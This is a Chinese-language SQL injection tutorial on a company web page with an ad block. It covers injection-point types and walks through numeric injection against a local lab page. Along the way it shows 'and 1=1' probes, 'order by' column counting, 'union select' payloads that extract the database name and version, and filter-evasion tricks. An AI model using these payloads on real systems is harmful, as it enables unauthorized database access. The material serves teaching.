sql注入漏洞的基础是什么
这篇文章给大家介绍sql注入漏洞的基础是什么,内容非常详细,感兴趣的小伙伴们可以参考借鉴,希望对大家能有所帮助。
创新互联建站专注为客户提供全方位的互联网综合服务,包含不限于成都做网站、网站建设、射洪网络推广、微信小程序、射洪网络营销、射洪企业策划、射洪品牌公关、搜索引擎seo、人物专访、企业宣传片、企业代运营等,从售前售中售后,我们都将竭诚为您服务,您的肯定,是我们最大的嘉奖;创新互联建站为所有大学生创业者提供射洪建站搭建服务,24小时服务热线:13518219792,官方网址:www.cdcxhl.com
一、简介
SQL注入,就是通过把SQL命令插入到Web表单递交或输入域名或页面请求的查询字符串,最终达到欺骗服务器执行恶意的SQL命令。
二、产生的原因
1.程序在开发的时候没对用户的数据过滤,把用户的数据都当做可信数据。
2.过滤不严格。
3.数据库配置不当。
4.转义不当。
三、注入点分类
1、数字型注入:
在 Web 端大概是 http://www.aiyou.com/news.php?id=1 这种形式,其注入点 id 类型为数字,所以叫数字型注入点。这一类的 SQL 语句原型大概为 select * from 表名 where id=1。组合出来的sql注入语句为:select * from news where id=1
2、字符型注入:
在 Web 端大概是 http://www.aiyou.com/news.php?name=aiyou 这种形式,其注入点 name 类型为字符类型,所以叫字符型注入点。这一类的 SQL 语句原型大概为 select * from 表名 where name='aiyou'。注意多了引号。组合出来的sql注入语句为:select * from news where name='admin'
3、搜索型注入:
在 Web 端大概是 http://www.aiyou.com/news.php?keyword=aiyou 这种形式,其原形大致为:select * from 表名 where 字段 like '%aiyou%',组合出来的sql注入语句为:select * from news where search like '%aiyou %'
四、数字型实例
1、新建一个根据id查询专辑的php页面
2、访问:http://192.168.1.129/php/szx.php?id=1
3、测试注入是否存在
http://192.168.1.129/php/szx.php?id=1 and 1=1 返回正常
http://192.168.1.129/php/szx.php?id=1 and 1=2 返回错误
存在注入
4、判断该表的列数
http://192.168.1.129/php/szx.php?id=1 order by 5 返回错误
http://192.168.1.129/php/szx.php?id=1 order by 4 返回正常
该表有4列
5、联合查询
http://192.168.1.129/php/szx.php?id=-1 union select 1,2,3,4
6、获取数据库名称和mysql版本号
http://192.168.1.129/php/szx.php?id=-1 union select 1,database(),version(),4
五、mysql5.0以上版本的特性:
默认定义information_schema数据库,里面具有表schemata(数据库名)、tables(表名)、columns(列名或字段名)
在schemata表中,schema_name字段用来存储数据库名
在tables表中,table_schema和table_name分别用来存储数据库名和表名。
在columns表中,tabel_schema存储数据库名,table_name存储表名,column_name存储字段名
注意:
1、Mysql中的大小写不敏感,大小写一样
2、Mysql中的十六进制与URL编码都可以识别。
3、符号和关键字替换 and--&& or--||,and优先级高于or
4、内联注释 /*!内联注释*/ ,/*!/*!*/是等效于/*!*/的
关于sql注入漏洞的基础是什么就分享到这里了,希望以上内容可以对大家有一定的帮助,可以学到更多知识。如果觉得文章不错,可以把它分享出去让更多的人看到。
网站栏目:sql注入漏洞的基础是什么
本文链接:http://myzitong.com/article/ipcjeh.html